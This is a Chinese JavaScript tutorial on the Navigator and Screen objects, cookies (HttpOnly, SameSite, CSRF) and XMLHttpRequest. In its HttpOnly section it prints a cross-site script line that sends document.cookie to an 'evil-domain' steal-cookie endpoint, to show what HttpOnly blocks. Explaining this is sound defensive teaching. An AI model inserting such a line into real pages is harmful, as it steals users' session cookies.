进阶之浏览器模型拉开差距(二)
三、Navigator 对象,Screen 对象
window.navigator属性指向一个包含浏览器和系统信息的 Navigator 对象。脚本通过这个属性了解用户的环境信息。
1、Navigator 对象的属性
1.1 Navigator.userAgent 浏览器厂商和版本
navigator.userAgent属性返回浏览器的 User Agent 字符串,表示浏览器的厂商和版本信息。
下面是 Chrome 浏览器的userAgent。
navigator.userAgent
// "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.57 Safari/537.36"
通过userAgent属性识别浏览器,不是一个好办法。因为必须考虑所有的情况(不同的浏览器,不同的版本),非常麻烦,而且用户可以改变这个字符串。这个字符串的格式并无统一规定,也无法保证未来的适用性,各种上网设备层出不穷,难以穷尽。所以,现在一般不再通过它识别浏览器了,而是使用“功能识别”方法,即逐一测试当前浏览器是否支持要用到的 JavaScript 功能。
不过,通过userAgent可以大致准确地识别手机浏览器,方法就是测试是否包含mobi字符串。
var ua = navigator.userAgent.toLowerCase();
if (/mobi/i.test(ua)) {
  // 手机浏览器
} else {
  // 非手机浏览器
}
如果想要识别所有移动设备的浏览器,可以测试更多的特征字符串。
/mobi|android|touch|mini/i.test(ua)
1.2 Navigator.plugins 浏览器插件
Navigator.plugins属性返回一个类似数组的对象,成员是 Plugin 实例对象,表示浏览器安装的插件,比如 Flash、ActiveX 等。
var pluginsLength = navigator.plugins.length;
for (var i = 0; i < pluginsLength; i++) {
  console.log(navigator.plugins[i].name);
  console.log(navigator.plugins[i].filename);
  console.log(navigator.plugins[i].description);
  console.log(navigator.plugins[i].version);
}
1.3 Navigator.platform 操作系统信息
Navigator.platform属性返回用户的操作系统信息,比如MacIntel、Win32、Linux x86_64等 。
navigator.platform
// "Linux x86_64"
1.4 Navigator.onLine 是否在线
navigator.onLine属性返回一个布尔值,表示用户当前在线还是离线(浏览器断线)。
navigator.onLine // true
有时,浏览器可以连接局域网,但是局域网不能连通外网。这时,有的浏览器的onLine属性会返回true,所以不能假定只要是true,用户就一定能访问互联网。不过,如果是false,可以断定用户一定离线。
用户变成在线会触发online事件,变成离线会触发offline事件,可以通过window.ononline和window.onoffline指定这两个事件的回调函数。
window.addEventListener('offline', function(e) { console.log('offline'); });
window.addEventListener('online', function(e) { console.log('online'); });
1.5 Navigator.language 首选语言,Navigator.languages 可以接受的语言,数组
Navigator.language属性返回一个字符串,表示浏览器的首选语言。该属性只读。
navigator.language // "en"
Navigator.languages属性返回一个数组,表示用户可以接受的语言。Navigator.language总是这个数组的第一个成员。HTTP 请求头信息的Accept-Language字段,就来自这个数组。
navigator.languages  // ["en-US", "en", "zh-CN", "zh", "zh-TW"]
如果这个属性发生变化,就会在window对象上触发languagechange事件。
1.6 Navigator.geolocation 地理位置
Navigator.geolocation属性返回一个 Geolocation 对象,包含用户地理位置的信息。注意,该 API 只有在 HTTPS 协议下可用,否则调用下面方法时会报错。
Geolocation 对象提供下面三个方法。
- Geolocation.getCurrentPosition():得到用户的当前位置
 - Geolocation.watchPosition():监听用户位置变化
 - Geolocation.clearWatch():取消
watchPosition()方法指定的监听函数 
注意,调用这三个方法时,浏览器会跳出一个对话框,要求用户给予授权。
1.7 Navigator.cookieEnabled 浏览器Cookie是否打开
Navigator.cookieEnabled属性返回一个布尔值,表示浏览器的 Cookie 功能是否打开。
navigator.cookieEnabled // true
注意,这个属性反映的是浏览器总的特性,与是否储存某个具体的网站的 Cookie 无关。用户可以设置某个网站不得储存 Cookie,这时cookieEnabled返回的还是true。
2、Navigator 对象的方法
2.1 Navigator.javaEnabled() 是否能运行 Java Applet 小程序
Navigator.javaEnabled()方法返回一个布尔值,表示浏览器是否能运行 Java Applet 小程序。
navigator.javaEnabled() // false
2.1 Navigator.sendBeacon() 用于向服务器异步发送数据
Navigator.sendBeacon()方法用于向服务器异步发送数据,详见《XMLHttpRequest 对象》一章。
3、Screen 对象 (屏幕信息对象)
Screen 对象表示当前窗口所在的屏幕,提供显示设备的信息。window.screen属性指向这个对象。
该对象有下面的属性。
Screen.height:浏览器窗口所在的屏幕的高度(单位像素)。除非调整显示器的分辨率,否则这个值可以看作常量,不会发生变化。显示器的分辨率与浏览器设置无关,缩放网页并不会改变分辨率。Screen.width:浏览器窗口所在的屏幕的宽度(单位像素)。Screen.availHeight:浏览器窗口可用的屏幕高度(单位像素)。因为部分空间可能不可用,比如系统的任务栏或者 Mac 系统屏幕底部的 Dock 区,这个属性等于height减去那些被系统组件的高度。Screen.availWidth:浏览器窗口可用的屏幕宽度(单位像素)。Screen.pixelDepth:整数,表示屏幕的色彩位数,比如24表示屏幕提供24位色彩。Screen.colorDepth:Screen.pixelDepth的别名。严格地说,colorDepth 表示应用程序的颜色深度,pixelDepth 表示屏幕的颜色深度,绝大多数情况下,它们都是同一件事。Screen.orientation:返回一个对象,表示屏幕的方向。该对象的type属性是一个字符串,表示屏幕的具体方向,landscape-primary表示横放,landscape-secondary表示颠倒的横放,portrait-primary表示竖放,portrait-secondary。
下面是Screen.orientation的例子。
window.screen.orientation
// { angle: 0, type: "landscape-primary", onchange: null }
下面的例子保证屏幕分辨率大于 1024 x 768。
if (window.screen.width >= 1024 && window.screen.height >= 768) {
  // 分辨率不低于 1024x768
}
下面是根据屏幕的宽度,将用户导向不同网页的代码。
if ((screen.width <= 800) && (screen.height <= 600)) {
  window.location.replace('small.html');
} else {
  window.location.replace('wide.html');
}
四、Cookie
1、概述
Cookie 是服务器保存在浏览器的一小段文本信息,一般大小不能超过4KB。浏览器每次向服务器发出请求,就会自动附上这段信息。
Cookie 主要保存状态信息,以下是一些主要用途。
- 对话(session)管理:保存登录、购物车等需要记录的信息。
 - 个性化信息:保存用户的偏好,比如网页的字体大小、背景色等等。
 - 追踪用户:记录和分析用户行为。
 
Cookie 不是一种理想的客户端储存机制。它的容量很小(4KB),缺乏数据操作接口,而且会影响性能。客户端储存应该使用 Web storage API 和 IndexedDB。只有那些每次请求都需要让服务器知道的信息,才应该放在 Cookie 里面。
每个 Cookie 都有以下几方面的元数据。
- Cookie 的名字
 - Cookie 的值(真正的数据写在这里面)
 - 到期时间(超过这个时间会失效)
 - 所属域名(默认为当前域名)
 - 生效的路径(默认为当前网址)
 
举例来说,用户访问网址www.example.com,服务器在浏览器写入一个 Cookie。这个 Cookie 的所属域名为www.example.com,生效路径为根路径/。如果 Cookie 的生效路径设为/forums,那么这个 Cookie 只有在访问www.example.com/forums及其子路径时才有效。以后,浏览器访问某个路径之前,就会找出对该域名和路径有效,并且还没有到期的 Cookie,一起发送给服务器。
用户可以设置浏览器不接受 Cookie,也可以设置不向服务器发送 Cookie。window.navigator.cookieEnabled属性返回一个布尔值,表示浏览器是否打开 Cookie 功能。
window.navigator.cookieEnabled // true
document.cookie属性返回当前网页的 Cookie。
document.cookie // "id=foo;key=bar"
不同浏览器对 Cookie 数量和大小的限制,是不一样的。一般来说,单个域名设置的 Cookie 不应超过30个,每个 Cookie 的大小不能超过4KB。超过限制以后,Cookie 将被忽略,不会被设置。
浏览器的同源政策规定,两个网址只要域名相同和端口相同,就可以共享 Cookie(参见《同源政策》一章)。注意,这里不要求协议相同。也就是说,http://example.com设置的 Cookie,可以被https://example.com读取。
2、Cookie 与 HTTP 协议
Cookie 由 HTTP 协议生成,也主要是供 HTTP 协议使用。
2.1 HTTP 回应:Cookie 的生成
服务器如果希望在浏览器保存 Cookie,就要在 HTTP 回应的头信息里面,放置一个Set-Cookie字段。
Set-Cookie:foo=bar
上面代码会在浏览器保存一个名为foo的 Cookie,它的值为bar。
HTTP 回应可以包含多个Set-Cookie字段,即在浏览器生成多个 Cookie。下面是一个例子。
HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry
[page content]
除了 Cookie 的值,Set-Cookie字段还可以附加 Cookie 的属性。
Set-Cookie: <cookie-name>=<cookie-value>; Expires=<date>
Set-Cookie: <cookie-name>=<cookie-value>; Max-Age=<non-zero-digit>
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>
Set-Cookie: <cookie-name>=<cookie-value>; Path=<path-value>
Set-Cookie: <cookie-name>=<cookie-value>; Secure
Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly
上面的几个属性的含义,将在后文解释。
一个Set-Cookie字段里面,可以同时包括多个属性,没有次序的要求。
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Secure; HttpOnly
下面是一个例子。
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
如果服务器想改变一个早先设置的 Cookie,必须同时满足四个条件:Cookie 的key、domain、path和secure都匹配。举例来说,如果原始的 Cookie 是用如下的Set-Cookie设置的。
Set-Cookie: key1=value1; domain=example.com; path=/blog
改变上面这个 Cookie 的值,就必须使用同样的Set-Cookie。
Set-Cookie: key1=value2; domain=example.com; path=/blog
只要有一个属性不同,就会生成一个全新的 Cookie,而不是替换掉原来那个 Cookie。
Set-Cookie: key1=value2; domain=example.com; path=/
上面的命令设置了一个全新的同名 Cookie,但是path属性不一样。下一次访问example.com/blog的时候,浏览器将向服务器发送两个同名的 Cookie。
Cookie: key1=value1; key1=value2
上面代码的两个 Cookie 是同名的,匹配越精确的 Cookie 排在越前面。
2.2 HTTP 请求:Cookie 的发送
浏览器向服务器发送 HTTP 请求时,每个请求都会带上相应的 Cookie。也就是说,把服务器早前保存在浏览器的这段信息,再发回服务器。这时要使用 HTTP 头信息的Cookie字段。
Cookie: foo=bar
上面代码会向服务器发送名为foo的 Cookie,值为bar。
Cookie字段可以包含多个 Cookie,使用分号(;)分隔。
Cookie: name=value; name2=value2; name3=value3
下面是一个例子。
GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry
服务器收到浏览器发来的 Cookie 时,有两点是无法知道的。
- Cookie 的各种属性,比如何时过期。
 - 哪个域名设置的 Cookie,到底是一级域名设的,还是某一个二级域名设的。
 
3、Cookie 的属性
3.1 Expires 有效期,Max-Age 最大寿命,秒数
Expires属性指定一个具体的到期时间,到了指定时间以后,浏览器就不再保留这个 Cookie。它的值是 UTC 格式,可以使用Date.prototype.toUTCString()进行格式转换。
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
// 设置cookie,键id等于值a3fWa, 并设置到期时间
如果不设置该属性,或者设为null,Cookie 只在当前会话(session)有效,浏览器窗口一旦关闭,当前 Session 结束,该 Cookie 就会被删除。另外,浏览器根据本地时间,决定 Cookie 是否过期,由于本地时间是不精确的,所以没有办法保证 Cookie 一定会在服务器指定的时间过期。
Max-Age属性指定从现在开始 Cookie 存在的秒数,比如60 * 60 * 24 * 365(即一年)。过了这个时间以后,浏览器就不再保留这个 Cookie。
如果同时指定了Expires和Max-Age,那么Max-Age的值将优先生效。
如果Set-Cookie字段没有指定Expires或Max-Age属性,那么这个 Cookie 就是 Session Cookie,即它只在本次对话存在,一旦用户关闭浏览器,浏览器就不会再保留这个 Cookie。
3.2 Domain 域名,Path 路径
Domain属性指定浏览器发出 HTTP 请求时,哪些域名要附带这个 Cookie。如果没有指定该属性,浏览器会默认将其设为当前域名,这时子域名将不会附带这个 Cookie。比如,example.com不设置 Cookie 的domain属性,那么sub.example.com将不会附带这个 Cookie。如果指定了domain属性,那么子域名也会附带这个 Cookie。如果服务器指定的域名不属于当前域名,浏览器会拒绝这个 Cookie。
Path属性指定浏览器发出 HTTP 请求时,哪些路径要附带这个 Cookie。只要浏览器发现,Path属性是 HTTP 请求路径的开头一部分,就会在头信息里面带上这个 Cookie。比如,PATH属性是/,那么请求/docs路径也会包含该 Cookie。当然,前提是域名必须一致。
3.3 Secure 加密协议https下有效,HttpOnly 只有http请求能拿到
Secure属性指定浏览器只有在加密协议 HTTPS 下,才能将这个 Cookie 发送到服务器。另一方面,如果当前协议是 HTTP,浏览器会自动忽略服务器发来的Secure属性。该属性只是一个开关,不需要指定值。如果通信是 HTTPS 协议,该开关自动打开。
HttpOnly属性指定该 Cookie 无法通过 JavaScript 脚本拿到,主要是document.cookie属性、XMLHttpRequest对象和 Request API 都拿不到该属性。这样就防止了该 Cookie 被脚本读到,只有浏览器发出 HTTP 请求时,才会带上该 Cookie。
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
上面是跨站点载入的一个恶意脚本的代码,能够将当前网页的 Cookie 发往第三方服务器。如果设置了一个 Cookie 的HttpOnly属性,上面代码就不会读到该 Cookie。
3.4 SameSite 防止 CSRF 攻击和用户追踪
Chrome 51 开始,浏览器的 Cookie 新增加了一个SameSite属性,用来防止 CSRF 攻击和用户追踪。
Cookie 往往用来存储用户的身份信息,恶意网站可以设法伪造带有正确 Cookie 的 HTTP 请求,这就是 CSRF 攻击。举例来说,用户登陆了银行网站your-bank.com,银行服务器发来了一个 Cookie。
Set-Cookie:id=a3fWa;
用户后来又访问了恶意网站malicious.com,上面有一个表单。
<form action="your-bank.com/transfer" method="POST">
  ...
</form>
用户一旦被诱骗发送这个表单,银行网站就会收到带有正确 Cookie 的请求。为了防止这种攻击,表单一般都带有一个随机 token,告诉服务器这是真实请求。
<form action="your-bank.com/transfer" method="POST">
  <input type="hidden" name="token" value="dad3weg34">
  ...
</form>
这种第三方网站引导发出的 Cookie,就称为第三方 Cookie。它除了用于 CSRF 攻击,还可以用于用户追踪。比如,Facebook 在第三方网站插入一张看不见的图片。
<img src="facebook.com" style="visibility:hidden;">
浏览器加载上面代码时,就会向 Facebook 发出带有 Cookie 的请求,从而 Facebook 就会知道你是谁,访问了什么网站。
Cookie 的SameSite属性用来限制第三方 Cookie,从而减少安全风险。它可以设置三个值。
- Strict
 - Lax
 - None
 
(1)Strict
Strict最为严格,完全禁止第三方 Cookie,跨站点时,任何情况下都不会发送 Cookie。换言之,只有当前网页的 URL 与请求目标一致,才会带上 Cookie。
Set-Cookie: CookieName=CookieValue; SameSite=Strict;
这个规则过于严格,可能造成非常不好的用户体验。比如,当前网页有一个 GitHub 链接,用户点击跳转就不会带有 GitHub 的 Cookie,跳转过去总是未登陆状态。
(2)Lax
Lax规则稍稍放宽,大多数情况也是不发送第三方 Cookie,但是导航到目标网址的 Get 请求除外。
Set-Cookie: CookieName=CookieValue; SameSite=Lax;
导航到目标网址的 GET 请求,只包括三种情况:链接,预加载请求,GET 表单。详见下表。
| 请求类型 | 示例 | 正常情况 | Lax | 
|---|---|---|---|
| 链接 | `` | 发送 Cookie | 发送 Cookie | 
| 预加载 | `` | 发送 Cookie | 发送 Cookie | 
| GET 表单 | `` | 发送 Cookie | 发送 Cookie | 
| POST 表单 | `` | 发送 Cookie | 不发送 | 
| iframe | `` | 发送 Cookie | 不发送 | 
| AJAX | $.get("...") |  
   发送 Cookie | 不发送 | 
| Image | `` | 发送 Cookie | 不发送 | 
设置了Strict或Lax以后,基本就杜绝了 CSRF 攻击。当然,前提是用户浏览器支持 SameSite 属性。
(3)None
Chrome 计划将Lax变为默认设置。这时,网站可以选择显式关闭SameSite属性,将其设为None。不过,前提是必须同时设置Secure属性(Cookie 只能通过 HTTPS 协议发送),否则无效。
下面的设置无效。
Set-Cookie: widget_session=abc123; SameSite=None
下面的设置有效。
Set-Cookie: widget_session=abc123; SameSite=None; Secure
4、document.cookie 用于读写当前网页的 Cookie
document.cookie属性用于读写当前网页的 Cookie。
读取的时候,它会返回当前网页的所有 Cookie,前提是该 Cookie 不能有HTTPOnly属性。
document.cookie // "foo=bar;baz=bar"
上面代码从document.cookie一次性读出两个 Cookie,它们之间使用分号分隔。必须手动还原,才能取出每一个 Cookie 的值。
var cookies = document.cookie.split(';');
for (var i = 0; i < cookies.length; i++) {
  console.log(cookies[i]);
}
// foo=bar
// baz=bar
document.cookie属性是可写的,可以通过它为当前网站添加 Cookie。
document.cookie = 'fontSize=14';
写入的时候,Cookie 的值必须写成key=value的形式。注意,等号两边不能有空格。另外,写入 Cookie 的时候,必须对分号、逗号和空格进行转义(它们都不允许作为 Cookie 的值),这可以用encodeURIComponent方法达到。
但是,document.cookie一次只能写入一个 Cookie,而且写入并不是覆盖,而是添加。
document.cookie = 'test1=hello';
document.cookie = 'test2=world';
document.cookie
// test1=hello;test2=world
document.cookie读写行为的差异(一次可以读出全部 Cookie,但是只能写入一个 Cookie),与 HTTP 协议的 Cookie 通信格式有关。浏览器向服务器发送 Cookie 的时候,Cookie字段是使用一行将所有 Cookie 全部发送;服务器向浏览器设置 Cookie 的时候,Set-Cookie字段是一行设置一个 Cookie。
写入 Cookie 的时候,可以一起写入 Cookie 的属性。
document.cookie = "foo=bar; expires=Fri, 31 Dec 2020 23:59:59 GMT";
上面代码中,写入 Cookie 的时候,同时设置了expires属性。属性值的等号两边,也是不能有空格的。
各个属性的写入注意点如下。
path属性必须为绝对路径,默认为当前路径。domain属性值必须是当前发送 Cookie 的域名的一部分。比如,当前域名是example.com,就不能将其设为foo.com。该属性默认为当前的一级域名(不含二级域名)。max-age属性的值为秒数。expires属性的值为 UTC 格式,可以使用Date.prototype.toUTCString()进行日期格式转换。
document.cookie写入 Cookie 的例子如下。
document.cookie = 'fontSize=14; '
  + 'expires=' + someDate.toGMTString() + '; '
  + 'path=/subdirectory; '
  + 'domain=*.example.com';
Cookie 的属性一旦设置完成,就没有办法读取这些属性的值。
删除一个现存 Cookie 的唯一方法,是设置它的expires属性为一个过去的日期。
document.cookie = 'fontSize=;expires=Thu, 01-Jan-1970 00:00:01 GMT';
上面代码中,名为fontSize的 Cookie 的值为空,过期时间设为1970年1月1月零点,就等同于删除了这个 Cookie。
五、XMLHttpRequest 对象
1、简介
浏览器与服务器之间,采用 HTTP 协议通信。用户在浏览器地址栏键入一个网址,或者通过网页表单向服务器提交内容,这时浏览器就会向服务器发出 HTTP 请求。
1999年,微软公司发布 IE 浏览器5.0版,第一次引入新功能:允许 JavaScript 脚本向服务器发起 HTTP 请求。这个功能当时并没有引起注意,直到2004年 Gmail 发布和2005年 Google Map 发布,才引起广泛重视。2005年2月,AJAX 这个词第一次正式提出,它是 Asynchronous JavaScript and XML 的缩写,指的是通过 JavaScript 的异步通信,从服务器获取 XML 文档从中提取数据,再更新当前网页的对应部分,而不用刷新整个网页。后来,AJAX 这个词就成为 JavaScript 脚本发起 HTTP 通信的代名词,也就是说,只要用脚本发起通信,就可以叫做 AJAX 通信。W3C 也在2006年发布了它的国际标准。
具体来说,AJAX 包括以下几个步骤。
- 创建 XMLHttpRequest 实例
 - 发出 HTTP 请求
 - 接收服务器传回的数据
 - 更新网页数据
 
概括起来,就是一句话,AJAX 通过原生的XMLHttpRequest对象发出 HTTP 请求,得到服务器返回的数据后,再进行处理。现在,服务器返回的都是 JSON 格式的数据,XML 格式已经过时了,但是 AJAX 这个名字已经成了一个通用名词,字面含义已经消失了。
XMLHttpRequest对象是 AJAX 的主要接口,用于浏览器与服务器之间的通信。尽管名字里面有XML和Http,它实际上可以使用多种协议(比如file或ftp),发送任何格式的数据(包括字符串和二进制)。
XMLHttpRequest本身是一个构造函数,可以使用new命令生成实例。它没有任何参数。
var xhr = new XMLHttpRequest(); // 创建请求实例
一旦新建实例,就可以使用open()方法指定建立 HTTP 连接的一些细节。
xhr.open('GET', 'http://www.example.com/page.php', true); // 请求方式,地址,是否异步
上面代码指定使用 GET 方法,跟指定的服务器网址建立连接。第三个参数true,表示请求是异步的。
然后,指定回调函数,监听通信状态(readyState属性)的变化。
xhr.onreadystatechange = handleStateChange; // 回调函数监听请求状态变化,执行监听函数
function handleStateChange() {
  // ...
}
上面代码中,一旦XMLHttpRequest实例的状态发生变化,就会调用监听函数handleStateChange
最后使用send()方法,实际发出请求。
xhr.send(null); // 发送请求,null表示请求时不带数据(如果是post请求则带数据)
上面代码中,send()的参数为null,表示发送请求的时候,不带有数据体。如果发送的是 POST 请求,这里就需要指定数据体。
一旦拿到服务器返回的数据,AJAX 不会刷新整个网页,而是只更新网页里面的相关部分,从而不打断用户正在做的事情。
注意,AJAX 只能向同源网址(协议、域名、端口都相同)发出 HTTP 请求,如果发出跨域请求,就会报错(详见《同源政策》和《CORS 通信》两章)。
下面是XMLHttpRequest对象简单用法的完整例子。
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function(){
  if (xhr.readyState === 4){ // 通信成功时,状态值为4
    if (xhr.status === 200){ // 状态码
      console.log(xhr.responseText); // 响应内容
    } else {
      console.error(xhr.statusText);
    }
  }
};
xhr.onerror = function (e) {
  console.error(xhr.statusText);
};
xhr.open('GET', '/endpoint', true);
xhr.send(null);
2、XMLHttpRequest 的实例属性
2.1 XMLHttpRequest.readyState 实例对象的当前状态码
XMLHttpRequest.readyState返回一个整数,表示实例对象的当前状态。该属性只读。它可能返回以下值。
-  
0,表示 XMLHttpRequest 实例已经生成,但是实例的
open()方法还没有被调用。【生成实例,但没调用open()】 -  
1,表示
open()方法已经调用,但是实例的send()方法还没有调用,仍然可以使用实例的setRequestHeader()方法,设定 HTTP 请求的头信息。【调用open(),但没调用send()】 -  
2,表示实例的
send()方法已经调用,并且服务器返回的头信息和状态码已经收到。【调用send(),并收到头信息和状态码】 -  
3,表示正在接收服务器传来的数据体(body 部分)。这时,如果实例的
responseType属性等于text或者空字符串,responseText属性就会包含已经收到的部分信息。【正在接收数据体】 -  
4,表示服务器返回的数据已经完全接收,或者本次接收已经失败。【完成接收,失败或成功】
 
通信过程中,每当实例对象发生状态变化,它的readyState属性的值就会改变。这个值每一次变化,都会触发onreadystatechange()事件。
var xhr = new XMLHttpRequest();
if (xhr.readyState === 4) {
  // 请求结束,处理服务器返回的数据
} else {
  // 显示提示“加载中……”
}
上面代码中,xhr.readyState等于4时,表明脚本发出的 HTTP 请求已经完成。其他情况,都表示 HTTP 请求还在进行中。
2.2 XMLHttpRequest.onreadystatechange 监听状态变化
XMLHttpRequest.onreadystatechange属性指向一个监听函数。readystatechange事件发生时(实例的readyState属性变化),就会执行这个属性。
另外,如果使用实例的abort()方法,终止 XMLHttpRequest 请求,也会造成readyState属性变化,导致调用XMLHttpRequest.onreadystatechange属性。
下面是一个例子。
var xhr = new XMLHttpRequest();
xhr.open( 'GET', 'http://example.com' , true );
xhr.onreadystatechange = function () {
  if (xhr.readyState !== 4 || xhr.status !== 200) {
    return;
  }
  console.log(xhr.responseText);
};
xhr.send();
2.3 XMLHttpRequest.response 响应的数据体
XMLHttpRequest.response属性表示服务器返回的数据体(即 HTTP 回应的 body 部分)。它可能是任何数据类型,比如字符串、对象、二进制对象等等,具体的类型由XMLHttpRequest.responseType属性决定。该属性只读。
如果本次请求没有成功或者数据不完整,该属性等于null。但是,如果responseType属性等于text或空字符串,在请求没有结束之前(readyState等于3的阶段),response属性包含服务器已经返回的部分数据。
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function () {
  if (xhr.readyState === 4) {
    handler(xhr.response);
  }
}
2.4 XMLHttpRequest.responseType 响应数据类型
XMLHttpRequest.responseType属性是一个字符串,表示服务器返回数据的类型。这个属性是可写的,可以在调用open()方法之后、调用send()方法之前,设置这个属性的值,告诉服务器返回指定类型的数据。如果responseType设为空字符串,就等同于默认值text。
XMLHttpRequest.responseType属性可以等于以下值。
- ""(空字符串):等同于
text,表示服务器返回文本字符串数据。 - "arraybuffer":ArrayBuffer 对象,表示服务器返回二进制数组。
 - "blob":Blob 对象,表示服务器返回二进制对象。
 - "document":Document 对象,表示服务器返回一个文档对象。
 - "json":JSON 对象。
 - "text":字符串。
 
上面几种类型之中,text类型适合大多数情况,而且直接处理文本也比较方便。document类型适合返回 HTML / XML 文档的情况,这意味着,对于那些打开 CORS 的网站,可以直接用 Ajax 抓取网页,然后不用解析 HTML 字符串,直接对抓取回来的数据进行 DOM 操作。blob类型适合读取二进制数据,比如图片文件。
var xhr = new XMLHttpRequest();
xhr.open('GET', '/path/to/image.png', true);
xhr.responseType = 'blob';
xhr.onload = function(e) {
  if (this.status === 200) {
    var blob = new Blob([xhr.response], {type: 'image/png'});
    // 或者
    var blob = xhr.response;
  }
};
xhr.send();
如果将这个属性设为ArrayBuffer,就可以按照数组的方式处理二进制数据。
var xhr = new XMLHttpRequest();
xhr.open('GET', '/path/to/image.png', true);
xhr.responseType = 'arraybuffer';
xhr.onload = function(e) {
  var uInt8Array = new Uint8Array(this.response);
  for (var i = 0, len = uInt8Array.length; i < len; ++i) {
    // var byte = uInt8Array[i];
  }
};
xhr.send();
如果将这个属性设为json,浏览器就会自动对返回数据调用JSON.parse()方法。也就是说,从xhr.response属性(注意,不是xhr.responseText属性)得到的不是文本,而是一个 JSON 对象。
2.5 XMLHttpRequest.responseText 响应文本
XMLHttpRequest.responseText属性返回从服务器接收到的字符串,该属性为只读。只有 HTTP 请求完成接收以后,该属性才会包含完整的数据。
var xhr = new XMLHttpRequest();
xhr.open('GET', '/server', true);
xhr.responseType = 'text';
xhr.onload = function () {
  if (xhr.readyState === 4 && xhr.status === 200) {
    console.log(xhr.responseText);
  }
};
xhr.send(null);
2.6 XMLHttpRequest.responseXML 响应HTML或XML文档
XMLHttpRequest.responseXML属性返回从服务器接收到的 HTML 或 XML 文档对象,该属性为只读。如果本次请求没有成功,或者收到的数据不能被解析为 XML 或 HTML,该属性等于null。
该属性生效的前提是 HTTP 回应的Content-Type头信息等于text/xml或application/xml。这要求在发送请求前,XMLHttpRequest.responseType属性要设为document。如果 HTTP 回应的Content-Type头信息不等于text/xml和application/xml,但是想从responseXML拿到数据(即把数据按照 DOM 格式解析),那么需要手动调用XMLHttpRequest.overrideMimeType()方法,强制进行 XML 解析。
该属性得到的数据,是直接解析后的文档 DOM 树。
var xhr = new XMLHttpRequest();
xhr.open('GET', '/server', true);
xhr.responseType = 'document';
xhr.overrideMimeType('text/xml');
xhr.onload = function () {
  if (xhr.readyState === 4 && xhr.status === 200) {
    console.log(xhr.responseXML);
  }
};
xhr.send(null);
2.7 XMLHttpRequest.responseURL 发送数据的服务器网址
XMLHttpRequest.responseURL属性是字符串,表示发送数据的服务器的网址。
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://example.com/test', true);
xhr.onload = function () {
  // 返回 http://example.com/test
  console.log(xhr.responseURL);
};
xhr.send(null);
注意,这个属性的值与open()方法指定的请求网址不一定相同。如果服务器端发生跳转,这个属性返回最后实际返回数据的网址。另外,如果原始 URL 包括锚点(fragment),该属性会把锚点剥离。
2.8 XMLHttpRequest.status 状态码,XMLHttpRequest.statusText 状态提示字符串
XMLHttpRequest.status属性返回一个整数,表示服务器回应的 HTTP 状态码。一般来说,如果通信成功的话,这个状态码是200;如果服务器没有返回状态码,那么这个属性默认是200。请求发出之前,该属性为0。该属性只读。
- 200, OK,访问正常
 - 301, Moved Permanently,永久移动
 - 302, Moved temporarily,暂时移动
 - 304, Not Modified,未修改
 - 307, Temporary Redirect,暂时重定向
 - 401, Unauthorized,未授权
 - 403, Forbidden,禁止访问
 - 404, Not Found,未发现指定网址
 - 500, Internal Server Error,服务器发生错误
 
基本上,只有2xx和304的状态码,表示服务器返回是正常状态。
if (xhr.readyState === 4) {
  if ( (xhr.status >= 200 && xhr.status < 300)
    || (xhr.status === 304) ) {
    // 处理服务器的返回数据
  } else {
    // 出错
  }
}
XMLHttpRequest.statusText属性返回一个字符串,表示服务器发送的状态提示。不同于status属性,该属性包含整个状态信息,比如“OK”和“Not Found”。在请求发送之前(即调用open()方法之前),该属性的值是空字符串;如果服务器没有返回状态提示,该属性的值默认为“OK”。该属性为只读属性。
2.9 XMLHttpRequest.timeout 超时时间(毫秒),XMLHttpRequestEventTarget.ontimeout 超时函数
XMLHttpRequest.timeout属性返回一个整数,表示多少毫秒后,如果请求仍然没有得到结果,就会自动终止。如果该属性等于0,就表示没有时间限制。
XMLHttpRequestEventTarget.ontimeout属性用于设置一个监听函数,如果发生 timeout 事件,就会执行这个监听函数。
下面是一个例子。
var xhr = new XMLHttpRequest();
var url = '/server';
xhr.ontimeout = function () {
  console.error('The request for ' + url + ' timed out.');
};
xhr.onload = function() {
  if (xhr.readyState === 4) {
    if (xhr.status === 200) {
      // 处理服务器返回的数据
    } else {
      console.error(xhr.statusText);
    }
  }
};
xhr.open('GET', url, true);
// 指定 10 秒钟超时
xhr.timeout = 10 * 1000;
xhr.send(null);
2.10 事件监听属性
XMLHttpRequest 对象可以对以下事件指定监听函数。
- XMLHttpRequest.onloadstart:loadstart 事件(HTTP 请求发出)的监听函数*【请求开始】*
 - XMLHttpRequest.onprogress:progress事件(正在发送和加载数据)的监听函数*【请求中,进度】*
 - XMLHttpRequest.onabort:abort 事件(请求中止,比如用户调用了
abort()方法)的监听函数*【请求中止】* - XMLHttpRequest.onerror:error 事件(请求失败)的监听函数*【请求失败】*
 - XMLHttpRequest.onload:load 事件(请求成功完成)的监听函数*【请求成功】*
 - XMLHttpRequest.ontimeout:timeout 事件(用户指定的时限超过了,请求还未完成)的监听函数*【请求超时】*
 - XMLHttpRequest.onloadend:loadend 事件(请求完成,不管成功或失败)的监听函数*【请求完成,不管成功和失败】*
 
下面是一个例子。
xhr.onload = function() { // 请求成功
 var responseText = xhr.responseText;
 console.log(responseText);
 // process the response.
};
xhr.onabort = function () { // 请求中止
  console.log('The request was aborted');
};
xhr.onprogress = function (event) { // 请求中
  console.log(event.loaded); // 已传输数据量
  console.log(event.total); // 总数据量
  console.log(event.lengthComputable) / 是否可计算加载进度
};
xhr.onerror = function() { // 请求失败
  console.log('There was an error!');
};
progress事件的监听函数有一个事件对象参数,该对象有三个属性:loaded属性返回已经传输的数据量,total属性返回总的数据量,lengthComputable属性返回一个布尔值,表示加载的进度是否可以计算。所有这些监听函数里面,只有progress事件的监听函数有参数,其他函数都没有参数。
